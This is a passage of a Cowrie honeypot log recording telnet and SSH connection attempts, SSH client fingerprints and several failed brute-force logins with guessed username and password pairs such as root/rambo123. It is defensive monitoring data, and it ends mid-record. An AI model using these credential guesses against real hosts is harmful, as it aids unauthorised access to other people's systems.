{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57266,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa5531e29a7","protocol":"telnet","message":"New connection: 142.93.2.99:57266 (159.203.135.109:23) [session: afa5531e29a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:03.845445Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58802,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d55a477d0f","protocol":"telnet","message":"New connection: 142.93.2.99:58802 (159.203.135.109:23) [session: 79d55a477d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:05.491692Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59072,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9bfa0c4872","protocol":"telnet","message":"New connection: 142.93.2.99:59072 (159.203.135.109:23) [session: fc9bfa0c4872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:05.815978Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34788,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf90875e54c","protocol":"telnet","message":"New connection: 142.93.2.99:34788 (159.203.135.109:23) [session: acf90875e54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:11.157578Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36634,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6592d1a4a63","protocol":"telnet","message":"New connection: 142.93.2.99:36634 (159.203.135.109:23) [session: d6592d1a4a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:12.140100Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40814,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffdf038913f4","protocol":"telnet","message":"New connection: 142.93.2.99:40814 (159.203.135.109:23) [session: ffdf038913f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:16.355956Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41326,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6c0dde20bd5","protocol":"telnet","message":"New connection: 142.93.2.99:41326 (159.203.135.109:23) [session: a6c0dde20bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:16.918143Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43972,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a09100ba010","protocol":"telnet","message":"New connection: 142.93.2.99:43972 (159.203.135.109:23) [session: 7a09100ba010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:19.725775Z"}
{"eventid":"cowrie.session.closed","duration":32.23470091819763,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:20.219917Z","src_ip":"142.93.2.99","session":"bb95d9c3d34b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":53754,"dst_ip":"159.203.135.109","dst_port":22,"session":"b36636b91a52","protocol":"ssh","message":"New connection: 189.194.140.170:53754 (159.203.135.109:22) [session: b36636b91a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:21.757126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:21.769985Z","src_ip":"189.194.140.170","session":"b36636b91a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:21.868053Z","src_ip":"189.194.140.170","session":"b36636b91a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rambo123","message":"login attempt [root/rambo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:22.287618Z","src_ip":"189.194.140.170","session":"b36636b91a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:23.388491Z","src_ip":"189.194.140.170","session":"b36636b91a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48766,"dst_ip":"159.203.135.109","dst_port":23,"session":"81190528af3a","protocol":"telnet","message":"New connection: 142.93.2.99:48766 (159.203.135.109:23) [session: 81190528af3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:24.668740Z"}
{"eventid":"cowrie.session.closed","duration":33.29334545135498,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:24.866060Z","src_ip":"142.93.2.99","session":"a46a6df50239","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":60970,"dst_ip":"159.203.135.109","dst_port":22,"session":"695124a8ddd8","protocol":"ssh","message":"New connection: 78.128.112.74:60970 (159.203.135.109:22) [session: 695124a8ddd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:27.751946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:27.934215Z","src_ip":"78.128.112.74","session":"695124a8ddd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:27.938475Z","src_ip":"78.128.112.74","session":"695124a8ddd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345!","message":"login attempt [user/12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:29.334376Z","src_ip":"78.128.112.74","session":"695124a8ddd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":49220,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a2106b9d9de","protocol":"ssh","message":"New connection: 186.233.118.22:49220 (159.203.135.109:22) [session: 3a2106b9d9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:30.373223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:30.378837Z","src_ip":"186.233.118.22","session":"3a2106b9d9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:30.461160Z","src_ip":"78.128.112.74","session":"695124a8ddd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:30.498649Z","src_ip":"186.233.118.22","session":"3a2106b9d9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.81172156333923,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:30.526640Z","src_ip":"142.93.2.99","session":"a4366c555f43","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@2025","message":"login attempt [root/Pass@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:31.009059Z","src_ip":"186.233.118.22","session":"3a2106b9d9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55126,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fe681fb5ce2","protocol":"telnet","message":"New connection: 142.93.2.99:55126 (159.203.135.109:23) [session: 9fe681fb5ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:31.112370Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:32.132308Z","src_ip":"186.233.118.22","session":"3a2106b9d9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.89958453178406,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:32.653351Z","src_ip":"142.93.2.99","session":"34d328c00855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90609431266785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:33.594896Z","src_ip":"142.93.2.99","session":"ab50ca50d42c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.429808616638184,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:34.787246Z","src_ip":"142.93.2.99","session":"627bc4ce2a08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.017765522003174,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:36.457633Z","src_ip":"142.93.2.99","session":"cd9d38eed119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60686,"dst_ip":"159.203.135.109","dst_port":23,"session":"6913478a96cb","protocol":"telnet","message":"New connection: 142.93.2.99:60686 (159.203.135.109:23) [session: 6913478a96cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:36.964736Z"}
{"eventid":"cowrie.session.closed","duration":32.54720759391785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:38.038784Z","src_ip":"142.93.2.99","session":"79d55a477d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.67575025558472,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:38.521066Z","src_ip":"142.93.2.99","session":"afa5531e29a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34538435935974,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:39.161202Z","src_ip":"142.93.2.99","session":"fc9bfa0c4872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37816,"dst_ip":"10.17.0.5","dst_port":23,"session":"85486610e599","protocol":"telnet","message":"New connection: 104.245.105.2:37816 (10.17.0.5:23) [session: 85486610e599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:40.478180Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38514,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d5a8622e5a3","protocol":"ssh","message":"New connection: 2.57.122.238:38514 (159.203.135.109:22) [session: 8d5a8622e5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:40.723015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:40.727974Z","src_ip":"2.57.122.238","session":"8d5a8622e5a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:40.827835Z","src_ip":"2.57.122.238","session":"8d5a8622e5a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:41.132490Z","src_ip":"2.57.122.238","session":"8d5a8622e5a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:42.238732Z","src_ip":"2.57.122.238","session":"8d5a8622e5a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.979896783828735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:43.137372Z","src_ip":"142.93.2.99","session":"acf90875e54c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38332,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d8b138feea","protocol":"telnet","message":"New connection: 142.93.2.99:38332 (159.203.135.109:23) [session: b3d8b138feea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:43.342896Z"}
{"eventid":"cowrie.session.closed","duration":32.30087375640869,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:44.440859Z","src_ip":"142.93.2.99","session":"d6592d1a4a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40030,"dst_ip":"159.203.135.109","dst_port":23,"session":"52dc9f2da924","protocol":"telnet","message":"New connection: 142.93.2.99:40030 (159.203.135.109:23) [session: 52dc9f2da924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:44.969973Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44100,"dst_ip":"159.203.135.109","dst_port":23,"session":"21311996762d","protocol":"telnet","message":"New connection: 142.93.2.99:44100 (159.203.135.109:23) [session: 21311996762d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:49.119577Z"}
{"eventid":"cowrie.session.closed","duration":33.16073822975159,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:49.516567Z","src_ip":"142.93.2.99","session":"ffdf038913f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06234335899353,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:49.980358Z","src_ip":"142.93.2.99","session":"a6c0dde20bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.576451778411865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:52.302113Z","src_ip":"142.93.2.99","session":"7a09100ba010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46880,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9192e68d8b7","protocol":"telnet","message":"New connection: 142.93.2.99:46880 (159.203.135.109:23) [session: c9192e68d8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:52.865680Z"}
{"eventid":"cowrie.session.closed","duration":32.714207887649536,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:12:57.382853Z","src_ip":"142.93.2.99","session":"81190528af3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22148418426514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:03.333730Z","src_ip":"142.93.2.99","session":"9fe681fb5ce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43526,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b41845a1b2","protocol":"telnet","message":"New connection: 104.245.105.2:43526 (10.17.0.5:23) [session: 92b41845a1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:06.477411Z"}
{"eventid":"cowrie.session.closed","duration":32.06805348396301,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:09.032645Z","src_ip":"142.93.2.99","session":"6913478a96cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35468,"dst_ip":"159.203.135.109","dst_port":23,"session":"df04eaeb1790","protocol":"telnet","message":"New connection: 142.93.2.99:35468 (159.203.135.109:23) [session: df04eaeb1790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:11.280673Z"}
{"eventid":"cowrie.session.closed","duration":31.41120195388794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:11.889231Z","src_ip":"104.245.105.2","session":"85486610e599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":42438,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8da0d12f987","protocol":"ssh","message":"New connection: 189.194.140.170:42438 (159.203.135.109:22) [session: e8da0d12f987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:14.862669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:14.868785Z","src_ip":"189.194.140.170","session":"e8da0d12f987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com"